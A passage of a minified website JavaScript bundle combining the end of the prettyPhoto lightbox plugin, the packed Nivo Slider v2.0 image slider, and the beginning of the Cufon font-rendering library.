clearfix"></div></div>').appendTo($('body'));correctSizes=_fitToViewport($(myClone).width(),$(myClone).height());$(myClone).remove();toInject=settings.inline_markup.replace(/{content}/g,$(images[setPosition]).html());break;};if(!imgPreloader){$pp_pic_holder.find('#pp_full_res')[0].innerHTML=toInject;_showContent();};});};$.prettyPhoto.changePage=function(direction){if(direction=='previous'){setPosition--;if(setPosition<0){setPosition=0;return;};}else{if($('.pp_arrow_next').is('.disabled'))return;setPosition++;};if(!doresize)doresize=true;_hideContent(function(){$.prettyPhoto.open(images,titles,descriptions)});$('a.pp_expand,a.pp_contract').fadeOut(settings.animationSpeed);};$.prettyPhoto.close=function(){$pp_pic_holder.find('object,embed').css('visibility','hidden');$('div.pp_pic_holder,div.ppt,.pp_fade').fadeOut(settings.animationSpeed);$pp_overlay.fadeOut(settings.animationSpeed,function(){$('#pp_full_res').html('');$pp_pic_holder.attr('style','').find('div:not(.pp_hoverContainer)').attr('style','');_centerOverlay();if($.browser.msie&&$.browser.version==6){$('select').css('visibility','visible');};if(settings.hideflash)$('object,embed').css('visibility','visible');setPosition=0;settings.callback();});doresize=true;};_showContent=function(){$('.pp_loaderIcon').hide();projectedTop=scrollPos['scrollTop']+((windowHeight/2)-(correctSizes['containerHeight']/2));if(projectedTop<0)projectedTop=0+$ppt.height();$pp_pic_holder.find('.pp_content').animate({'height':correctSizes['contentHeight']},settings.animationSpeed);$pp_pic_holder.animate({'top':projectedTop,'left':(windowWidth/2)-(correctSizes['containerWidth']/2),'width':correctSizes['containerWidth']},settings.animationSpeed,function(){$pp_pic_holder.find('.pp_hoverContainer,#fullResImage').height(correctSizes['height']).width(correctSizes['width']);$pp_pic_holder.find('.pp_fade').fadeIn(settings.animationSpeed);if(image_set&&_getFileType(images[setPosition])=="image"){$pp_pic_holder.find('.pp_hoverContainer').show();}else{$pp_pic_holder.find('.pp_hoverContainer').hide();}
if(settings.showTitle&&hasTitle){$ppt.css({'top':$pp_pic_holder.offset().top-25,'left':$pp_pic_holder.offset().left+20,'display':'none'});$ppt.fadeIn(settings.animationSpeed);};if(correctSizes['resized'])$('a.pp_expand,a.pp_contract').fadeIn(settings.animationSpeed);settings.changepicturecallback();});};function _hideContent(callback){$pp_pic_holder.find('#pp_full_res object,#pp_full_res embed').css('visibility','hidden');$pp_pic_holder.find('.pp_fade').fadeOut(settings.animationSpeed,function(){$('.pp_loaderIcon').show();if(callback)callback();});$ppt.fadeOut(settings.animationSpeed);}
function _checkPosition(setCount){if(setPosition==setCount-1){$pp_pic_holder.find('a.pp_next').css('visibility','hidden');$pp_pic_holder.find('a.pp_arrow_next').addClass('disabled').unbind('click');}else{$pp_pic_holder.find('a.pp_next').css('visibility','visible');$pp_pic_holder.find('a.pp_arrow_next.disabled').removeClass('disabled').bind('click',function(){$.prettyPhoto.changePage('next');return false;});};if(setPosition==0){$pp_pic_holder.find('a.pp_previous').css('visibility','hidden');$pp_pic_holder.find('a.pp_arrow_previous').addClass('disabled').unbind('click');}else{$pp_pic_holder.find('a.pp_previous').css('visibility','visible');$pp_pic_holder.find('a.pp_arrow_previous.disabled').removeClass('disabled').bind('click',function(){$.prettyPhoto.changePage('previous');return false;});};if(setCount>1){$('.pp_nav').show();}else{$('.pp_nav').hide();}};function _fitToViewport(width,height){hasBeenResized=false;_getDimensions(width,height);imageWidth=width;imageHeight=height;if(((pp_containerWidth>windowWidth)||(pp_containerHeight>windowHeight))&&doresize&&settings.allowresize&&!percentBased){hasBeenResized=true;notFitting=true;while(notFitting){if((pp_containerWidth>windowWidth)){imageWidth=(windowWidth-200);imageHeight=(height/width)*imageWidth;}else if((pp_containerHeight>windowHeight)){imageHeight=(windowHeight-200);imageWidth=(width/height)*imageHeight;}else{notFitting=false;};pp_containerHeight=imageHeight;pp_containerWidth=imageWidth;};_getDimensions(imageWidth,imageHeight);};return{width:Math.floor(imageWidth),height:Math.floor(imageHeight),containerHeight:Math.floor(pp_containerHeight),containerWidth:Math.floor(pp_containerWidth)+40,contentHeight:Math.floor(pp_contentHeight),contentWidth:Math.floor(pp_contentWidth),resized:hasBeenResized};};function _getDimensions(width,height){width=parseFloat(width);height=parseFloat(height);$pp_details=$pp_pic_holder.find('.pp_details');$pp_details.width(width);detailsHeight=parseFloat($pp_details.css('marginTop'))+parseFloat($pp_details.css('marginBottom'));$pp_details=$pp_details.clone().appendTo($('body')).css({'position':'absolute','top':-10000});detailsHeight+=$pp_details.height();detailsHeight=(detailsHeight<=34)?36:detailsHeight;if($.browser.msie&&$.browser.version==7)detailsHeight+=8;$pp_details.remove();pp_contentHeight=height+detailsHeight;pp_contentWidth=width;pp_containerHeight=pp_contentHeight+$ppt.height()+$pp_pic_holder.find('.pp_top').height()+$pp_pic_holder.find('.pp_bottom').height();pp_containerWidth=width;}
function _getFileType(itemSrc){if(itemSrc.match(/youtube\.com\/watch/i)){return'youtube';}else if(itemSrc.match(/vimeo\.com/i)){return'vimeo';}else if(itemSrc.indexOf('.mov')!=-1){return'quicktime';}else if(itemSrc.indexOf('.swf')!=-1){return'flash';}else if(itemSrc.indexOf('iframe')!=-1){return'iframe'}else if(itemSrc.substr(0,1)=='#'){return'inline';}else{return'image';};};function _centerOverlay(){if(doresize){titleHeight=$ppt.height();contentHeight=$pp_pic_holder.height();contentwidth=$pp_pic_holder.width();projectedTop=(windowHeight/2)+scrollPos['scrollTop']-((contentHeight+titleHeight)/2);$pp_pic_holder.css({'top':projectedTop,'left':(windowWidth/2)+scrollPos['scrollLeft']-(contentwidth/2)});$ppt.css({'top':projectedTop-titleHeight,'left':(windowWidth/2)+scrollPos['scrollLeft']-(contentwidth/2)+20});};};function _getScroll(){if(self.pageYOffset){return{scrollTop:self.pageYOffset,scrollLeft:self.pageXOffset};}else if(document.documentElement&&document.documentElement.scrollTop){return{scrollTop:document.documentElement.scrollTop,scrollLeft:document.documentElement.scrollLeft};}else if(document.body){return{scrollTop:document.body.scrollTop,scrollLeft:document.body.scrollLeft};};};function _resizeOverlay(){windowHeight=$(window).height();windowWidth=$(window).width();$pp_overlay.css({'height':$(document).height()});};function _buildOverlay(){$('body').append(settings.markup);$pp_pic_holder=$('.pp_pic_holder');$ppt=$('.ppt');$pp_overlay=$('div.pp_overlay');$pp_pic_holder.attr('class','pp_pic_holder '+settings.theme);$pp_overlay.css({'opacity':0,'height':$(document).height()}).bind('click',function(){if(!settings.modal)
$.prettyPhoto.close();});$('a.pp_close').bind('click',function(){$.prettyPhoto.close();return false;});$('a.pp_expand').bind('click',function(){$this=$(this);if($this.hasClass('pp_expand')){$this.removeClass('pp_expand').addClass('pp_contract');doresize=false;}else{$this.removeClass('pp_contract').addClass('pp_expand');doresize=true;};_hideContent(function(){$.prettyPhoto.open(images,titles,descriptions)});$pp_pic_holder.find('.pp_fade').fadeOut(settings.animationSpeed);return false;});$pp_pic_holder.find('.pp_previous, .pp_arrow_previous').bind('click',function(){$.prettyPhoto.changePage('previous');return false;});$pp_pic_holder.find('.pp_next, .pp_arrow_next').bind('click',function(){$.prettyPhoto.changePage('next');return false;});};_centerOverlay();};function grab_param(name,url){name=name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");var regexS="[\\?&]"+name+"=([^&#]*)";var regex=new RegExp(regexS);var results=regex.exec(url);if(results==null)
return"";else
return results[1];}})(jQuery);

/*
 * jQuery Nivo Slider v2.0
 * http://nivo.dev7studios.com
 *
 * Copyright 2010, Gilbert Pellegrom
 * Free to use and abuse under the MIT license.
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * May 2010 - Pick random effect from specified set of effects by toronegro
 * May 2010 - controlNavThumbsFromRel option added by nerd-sh
 * May 2010 - Do not start nivoRun timer if there is only 1 slide by msielski
 * April 2010 - controlNavThumbs option added by Jamie Thompson (http://jamiethompson.co.uk)
 * March 2010 - manualAdvance option added by HelloPablo (http://hellopablo.co.uk)
 */

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(9($){$.1f.1q=9(1X){b 3=$.2i({},$.1f.1q.2c,1X);I g.E(9(){b 4={f:0,t:\'\',U:0,o:\'\',N:m,1k:m,1N:m};b 5=$(g);5.1S(\'7:4\',4);5.e(\'2h\',\'2g\');5.1n(\'1q\');b d=5.2j();d.E(9(){b j=$(g);b 1p=\'\';6(!j.K(\'B\')){6(j.K(\'a\')){j.1n(\'7-2k\');1p=j}j=j.1g(\'B:1s\')}b 1c=j.w();6(1c==0)1c=j.s(\'w\');b 1d=j.x();6(1d==0)1d=j.s(\'x\');6(1c>5.w()){5.w(1c)}6(1d>5.x()){5.x(1d)}6(1p!=\'\'){1p.e(\'P\',\'1h\')}j.e(\'P\',\'1h\');4.U++});6(3.1a>0){6(3.1a>=4.U)3.1a=4.U-1;4.f=3.1a}6($(d[4.f]).K(\'B\')){4.t=$(d[4.f])}n{4.t=$(d[4.f]).1g(\'B:1s\')}6($(d[4.f]).K(\'a\')){$(d[4.f]).e(\'P\',\'1w\')}5.e(\'W\',\'V(\'+4.t.s(\'D\')+\') R-Y\');2b(b i=0;i<3.h;i++){b G=X.27(5.w()/3.h);6(i==3.h-1){5.J($(\'<C z="7-c"></C>\').e({21:(G*i)+\'13\',w:(5.w()-(G*i))+\'13\'}))}n{5.J($(\'<C z="7-c"></C>\').e({21:(G*i)+\'13\',w:G+\'13\'}))}}5.J($(\'<C z="7-H"><p></p></C>\').e({P:\'1h\',y:3.1Y}));6(4.t.s(\'16\')!=\'\'){$(\'.7-H p\',5).1y(4.t.s(\'16\'));$(\'.7-H\',5).1x(3.q)}b l=0;6(!3.1i&&d.1j>1){l=1v(9(){F(5,d,3,m)},3.1m)}6(3.T){5.J(\'<C z="7-T"><a z="7-2a">2f</a><a z="7-29">2m</a></C>\');6(3.2d){$(\'.7-T\',5).24();5.25(9(){$(\'.7-T\',5).2l()},9(){$(\'.7-T\',5).24()})}$(\'a.7-2a\',5).1J(\'1I\',9(){6(4.N)I m;S(l);l=\'\';4.f-=2;F(5,d,3,\'1C\')});$(\'a.7-29\',5).1J(\'1I\',9(){6(4.N)I m;S(l);l=\'\';F(5,d,3,\'1A\')})}6(3.M){b 1b=$(\'<C z="7-M"></C>\');5.J(1b);2b(b i=0;i<d.1j;i++){6(3.20){b j=d.1B(i);6(!j.K(\'B\')){j=j.1g(\'B:1s\')}6(3.1Q){1b.J(\'<a z="7-1l" 11="\'+i+\'"><B D="\'+j.s(\'11\')+\'" 28="" /></a>\')}n{1b.J(\'<a z="7-1l" 11="\'+i+\'"><B D="\'+j.s(\'D\').2n(3.1R,3.1P)+\'" 28="" /></a>\')}}n{1b.J(\'<a z="7-1l" 11="\'+i+\'">\'+i+\'</a>\')}}$(\'.7-M a:1B(\'+4.f+\')\',5).1n(\'1o\');$(\'.7-M a\',5).1J(\'1I\',9(){6(4.N)I m;6($(g).2e(\'1o\'))I m;S(l);l=\'\';5.e(\'W\',\'V(\'+4.t.s(\'D\')+\') R-Y\');4.f=$(g).s(\'11\')-1;F(5,d,3,\'1l\')})}6(3.1M){$(2q).2A(9(1L){6(1L.1Z==\'2C\'){6(4.N)I m;S(l);l=\'\';4.f-=2;F(5,d,3,\'1C\')}6(1L.1Z==\'2D\'){6(4.N)I m;S(l);l=\'\';F(5,d,3,\'1A\')}})}6(3.1T){5.25(9(){4.1k=Q;S(l);l=\'\'},9(){4.1k=m;6(l==\'\'&&!3.1i){l=1v(9(){F(5,d,3,m)},3.1m)}})}5.2E(\'7:Z\',9(){4.N=m;$(d).E(9(){6($(g).K(\'a\')){$(g).e(\'P\',\'1h\')}});6($(d[4.f]).K(\'a\')){$(d[4.f]).e(\'P\',\'1w\')}6(l==\'\'&&!4.1k&&!3.1i){l=1v(9(){F(5,d,3,m)},3.1m)}3.1U.1z(g)})});9 F(5,d,3,19){b 4=5.1S(\'7:4\');6((!4||4.1N)&&!19)I m;3.1W.1z(g);6(!19){5.e(\'W\',\'V(\'+4.t.s(\'D\')+\') R-Y\')}n{6(19==\'1C\'){5.e(\'W\',\'V(\'+4.t.s(\'D\')+\') R-Y\')}6(19==\'1A\'){5.e(\'W\',\'V(\'+4.t.s(\'D\')+\') R-Y\')}}4.f++;6(4.f==4.U){4.f=0;3.1V.1z(g)}6(4.f<0)4.f=(4.U-1);6($(d[4.f]).K(\'B\')){4.t=$(d[4.f])}n{4.t=$(d[4.f]).1g(\'B:1s\')}6(3.M){$(\'.7-M a\',5).2F(\'1o\');$(\'.7-M a:1B(\'+4.f+\')\',5).1n(\'1o\')}6(4.t.s(\'16\')!=\'\'){6($(\'.7-H\',5).e(\'P\')==\'1w\'){$(\'.7-H p\',5).22(3.q,9(){$(g).1y(4.t.s(\'16\'));$(g).1x(3.q)})}n{$(\'.7-H p\',5).1y(4.t.s(\'16\'))}$(\'.7-H\',5).1x(3.q)}n{$(\'.7-H\',5).22(3.q)}b i=0;$(\'.7-c\',5).E(9(){b G=X.27(5.w()/3.h);$(g).e({x:\'O\',y:\'0\',W:\'V(\'+4.t.s(\'D\')+\') R-Y -\'+((G+(i*G))-G)+\'13 0%\'});i++});6(3.k==\'1t\'){b 10=2G 2B("1K","14","1F","17","1E","12","1D","1r");4.o=10[X.26(X.1t()*(10.1j+1))];6(4.o==2y)4.o=\'1r\'}6(3.k.2o(\',\')!=-1){b 10=3.k.2r(\',\');4.o=$.2z(10[X.26(X.1t()*10.1j)])}4.N=Q;6(3.k==\'2p\'||3.k==\'1K\'||4.o==\'1K\'||3.k==\'14\'||4.o==\'14\'){b u=0;b i=0;b h=$(\'.7-c\',5);6(3.k==\'14\'||4.o==\'14\')h=$(\'.7-c\',5).1e();h.E(9(){b c=$(g);c.e(\'1G\',\'O\');6(i==3.h-1){L(9(){c.A({x:\'r%\',y:\'1.0\'},3.q,\'\',9(){5.18(\'7:Z\')})},(r+u))}n{L(9(){c.A({x:\'r%\',y:\'1.0\'},3.q)},(r+u))}u+=1u;i++})}n 6(3.k==\'2t\'||3.k==\'1F\'||4.o==\'1F\'||3.k==\'17\'||4.o==\'17\'){b u=0;b i=0;b h=$(\'.7-c\',5);6(3.k==\'17\'||4.o==\'17\')h=$(\'.7-c\',5).1e();h.E(9(){b c=$(g);c.e(\'23\',\'O\');6(i==3.h-1){L(9(){c.A({x:\'r%\',y:\'1.0\'},3.q,\'\',9(){5.18(\'7:Z\')})},(r+u))}n{L(9(){c.A({x:\'r%\',y:\'1.0\'},3.q)},(r+u))}u+=1u;i++})}n 6(3.k==\'1E\'||3.k==\'2u\'||4.o==\'1E\'||3.k==\'12\'||4.o==\'12\'){b u=0;b i=0;b v=0;b h=$(\'.7-c\',5);6(3.k==\'12\'||4.o==\'12\')h=$(\'.7-c\',5).1e();h.E(9(){b c=$(g);6(i==0){c.e(\'1G\',\'O\');i++}n{c.e(\'23\',\'O\');i=0}6(v==3.h-1){L(9(){c.A({x:\'r%\',y:\'1.0\'},3.q,\'\',9(){5.18(\'7:Z\')})},(r+u))}n{L(9(){c.A({x:\'r%\',y:\'1.0\'},3.q)},(r+u))}u+=1u;v++})}n 6(3.k==\'1D\'||4.o==\'1D\'){b u=0;b i=0;$(\'.7-c\',5).E(9(){b c=$(g);b 1H=c.w();c.e({1G:\'O\',x:\'r%\',w:\'O\'});6(i==3.h-1){L(9(){c.A({w:1H,y:\'1.0\'},3.q,\'\',9(){5.18(\'7:Z\')})},(r+u))}n{L(9(){c.A({w:1H,y:\'1.0\'},3.q)},(r+u))}u+=1u;i++})}n 6(3.k==\'1r\'||4.o==\'1r\'){b i=0;$(\'.7-c\',5).E(9(){$(g).e(\'x\',\'r%\');6(i==3.h-1){$(g).A({y:\'1.0\'},(3.q*2),\'\',9(){5.18(\'7:Z\')})}n{$(g).A({y:\'1.0\'},(3.q*2))}i++})}}};$.1f.1q.2c={k:\'1t\',h:15,q:2x,1m:2w,1a:0,T:Q,2d:Q,M:Q,20:m,1Q:m,1R:\'.1O\',1P:\'2v.1O\',1M:Q,1T:Q,1i:m,1Y:0.8,1W:9(){},1U:9(){},1V:9(){}};$.1f.1e=[].1e})(2s);',62,167,'|||settings|vars|slider|if|nivo||function||var|slice|kids|css|currentSlide|this|slices||child|effect|timer|false|else|randAnim||animSpeed|100|attr|currentImage|timeBuff||width|height|opacity|class|animate|img|div|src|each|nivoRun|sliceWidth|caption|return|append|is|setTimeout|controlNav|running|0px|display|true|no|clearInterval|directionNav|totalSlides|url|background|Math|repeat|animFinished|anims|rel|sliceUpDownLeft|px|sliceDownLeft||title|sliceUpLeft|trigger|nudge|startSlide|nivoControl|childWidth|childHeight|reverse|fn|find|none|manualAdvance|length|paused|control|pauseTime|addClass|active|link|nivoSlider|fade|first|random|50|setInterval|block|fadeIn|html|call|next|eq|prev|fold|sliceUpDown|sliceUpRight|top|origWidth|click|live|sliceDownRight|event|keyboardNav|stop|jpg|controlNavThumbsReplace|controlNavThumbsFromRel|controlNavThumbsSearch|data|pauseOnHover|afterChange|slideshowEnd|beforeChange|options|captionOpacity|keyCode|controlNavThumbs|left|fadeOut|bottom|hide|hover|floor|round|alt|nextNav|prevNav|for|defaults|directionNavHide|hasClass|Prev|relative|position|extend|children|imageLink|show|Next|replace|indexOf|sliceDown|window|split|jQuery|sliceUp|sliceUpDownRight|_thumb|3000|500|undefined|trim|keypress|Array|37|39|bind|removeClass|new'.split('|'),0,{}))

/*
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version 1.09i
 */
var Cufon=(function(){var m=function(){return m.replace.apply(null,arguments)};var x=m.DOM={ready:(function(){var C=false,E={loaded:1,complete:1};var B=[],D=function(){if(C){return}C=true;for(var F;F=B.shift();F()){}};if(document.addEventListener){document.addEventListener("DOMContentLoaded",D,false);window.addEventListener("pageshow",D,false)}if(!window.opera&&document.readyState){(function(){E[document.readyState]?D():setTimeout(arguments.callee,10)})()}if(document.readyState&&document.createStyleSheet){(function(){try{document.body.doScroll("left");D()}catch(F){setTimeout(arguments.callee,1)}})()}q(window,"load",D);return function(F){if(!arguments.length){D()}else{C?F():B.push(F)}}})(),root:function(){return document.documentElement||document.body}};var n=m.CSS={Size:function(C,B){this.value=parseFloat(C);this.unit=String(C).match(/[a-z%]*$/)[0]||"px";this.convert=function(D){return D/B*this.value};this.convertFrom=function(D){return D/this.value*B};this.toString=function(){return this.value+this.unit}},addClass:function(C,B){var D=C.className;C.className=D+(D&&" ")+B;return C},color:j(function(C){var B={};B.color=C.replace(/^rgba\((.*?),\s*([\d.]+)\)/,function(E,D,F){B.opacity=parseFloat(F);return"rgb("+D+")"});return B}),fontStretch:j(function(B){if(typeof B=="number"){return B}if(/%$/.test(B)){return parseFloat(B)/100}return{"ultra-condensed":0.5,"extra-condensed":0.625,condensed:0.75,"semi-condensed":0.875,"semi-expanded":1.125,expanded:1.25,"extra-expanded":1.5,"ultra-expanded":2}[B]||1}),getStyle:function(C){var B=document.defaultView;if(B&&B.getComputedStyle){return new a(B.getComputedStyle(C,null))}if(C.currentStyle){return new a(C.currentStyle)}return new a(C.style)},gradient:j(function(F){var G={id:F,type:F.match(/^-([a-z]+)-gradient\(/)[1],stops:[]},C=F.substr(F.indexOf("(")).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);for(var E=0,B=C.length,D;E<B;++E){D=C[E].split("=",2).reverse();G.stops.push([D[1]||E/(B-1),D[0]])}return G}),quotedList:j(function(E){var D=[],C=/\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g,B;while(B=C.exec(E)){D.push(B[3]||B[1])}return D}),recognizesMedia:j(function(G){var E=document.createElement("style"),D,C,B;E.type="text/css";E.media=G;try{E.appendChild(document.createTextNode("/**/"))}catch(F){}C=g("head")[0];C.insertBefore(E,C.firstChild);D=(E.sheet||E.styleSheet);B=D&&!D.disabled;C.removeChild(E);return B}),removeClass:function(D,C){var B=RegExp("(?:^|\\s+)"+C+"(?=\\s|$)","g");D.className=D.className.replace(B,"");return D},supports:function(D,C){var B=document.createElement("span").style;if(B[D]===undefined){return false}B[D]=C;return B[D]===C},textAlign:function(E,D,B,C){if(D.get("textAlign")=="right"){if(B>0){E=" "+E}}else{if(B<C-1){E+=" "}}return E},textShadow:j(function(F){if(F=="none"){return null}var E=[],G={},B,C=0;var D=/(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;while(B=D.exec(F)){if(B[0]==","){E.push(G);G={};C=0}else{if(B[1]){G.color=B[1]}else{G[["offX","offY","blur"][C++]]=B[2]}}}E.push(G);return E}),textTransform:(function(){var B={uppercase:function(C){return C.toUpperCase()},lowercase:function(C){return C.toLowerCase()},capitalize:function(C){return C.replace(/\b./g,function(D){return D.toUpperCase()})}};return function(E,D){var C=B[D.get("textTransform")];return C?C(E):E}})(),whiteSpace:(function(){var D={inline:1,"inline-block":1,"run-in":1};var C=/^\s+/,B=/\s+$/;return function(H,F,G,E){if(E){if(E.nodeName.toLowerCase()=="br"){H=H.replace(C,"")}}if(D[F.get("display")]){return H}if(!G.previousSibling){H=H.replace(C,"")}if(!G.nextSibling){H=H.replace(B,"")}return H}})()};n.ready=(function(){var B=!n.recognizesMedia("all"),E=false;var D=[],H=function(){B=true;for(var K;K=D.shift();K()){}};var I=g("link"),J=g("style");function C(K){return K.disabled||G(K.sheet,K.media||"screen")}function G(M,P){if(!n.recognizesMedia(P||"all")){return true}if(!M||M.disabled){return false}try{var Q=M.cssRules,O;if(Q){search:for(var L=0,K=Q.length;O=Q[L],L<K;++L){switch(O.type){case 2:break;case 3:if(!G(O.styleSheet,O.media.mediaText)){return false}break;default:break search}}}}catch(N){}return true}function F(){if(document.createStyleSheet){return true}var L,K;for(K=0;L=I[K];++K){if(L.rel.toLowerCase()=="stylesheet"&&!C(L)){return false}}for(K=0;L=J[K];++K){if(!C(L)){return false}}return true}x.ready(function(){if(!E){E=n.getStyle(document.body).isUsable()}if(B||(E&&F())){H()}else{setTimeout(arguments.callee,10)}});return function(K){if(B){K()}else{D.push(K)}}})();function s(D){var C=this.face=D.face,B={"\u0020":1,"\u00a0":1,"\u3000":1};this.glyphs=D.glyphs;this.w=D.w;this.baseSize=parseInt(C["units-per-em"],10);this.family=C["font-family"].toLowerCase();this.weight=C["font-weight"];this.style=C["font-style"]||"normal";this.viewBox=(function(){var F=C.bbox.split(/\s+/);var E={minX:parseInt(F[0],10),minY:parseInt(F[1],10),maxX:parseInt(F[2],10),maxY:parseInt(F[3],10)};E.width=E.maxX-E.minX;E.height=E.maxY-E.minY;E.toString=function(){return[this.minX,this.minY,this.width,this.height].join(" ")};return E})();this.ascent=-parseInt(C.ascent,10);this.descent=-parseInt(C.descent,10);this.height=-this.ascent+this.descent;this.spacing=function(L,N,E){var O=this.glyphs,M,K,G,P=[],F=0,J=-1,I=-1,H;while(H=L[++J]){M=O[H]||this.missingGlyph;if(!M){continue}if(K){F-=G=K[H]||0;P[I]-=G}F+=P[++I]=~~(M.w||this.w)+N+(B[H]?E:0);K=M.k}P.total=F;return P}}function f(){var C={},B={oblique:"italic",italic:"oblique"};this.add=function(D){(C[D.style]||(C[D.style]={}))[D.weight]=D};this.get=function(H,I){var G=C[H]||C[B[H]]||C.normal||C.italic||C.oblique;if(!G){return null}I={normal:400,bold:700}[I]||parseInt(I,10);if(G[I]){return G[I]}var E={1:1,99:0}[I%100],K=[],F,D;if(E===undefined){E=I>400}if(I==500){I=400}for(var J in G){if(!k(G,J)){continue}J=parseInt(J,10);if(!F||J<F){F=J}if(!D||J>D){D=J}K.push(J)}if(I<F){I=F}if(I>D){I=D}K.sort(function(M,L){return(E?(M>=I&&L>=I)?M<L:M>L:(M<=I&&L<=I)?M>L:M<L)?-1:1});return G[K[0]]}}function r(){function D(F,G){if(F.contains){return F.contains(G)}return F.compareDocumentPosition(G)&16}function B(G){var F=G.relatedTarget;if(!F||D(this,F)){return}C(this,G.type=="mouseover")}function E(F){C(this,F.type=="mouseenter")}function C(F,G){setTimeout(function(){var H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon 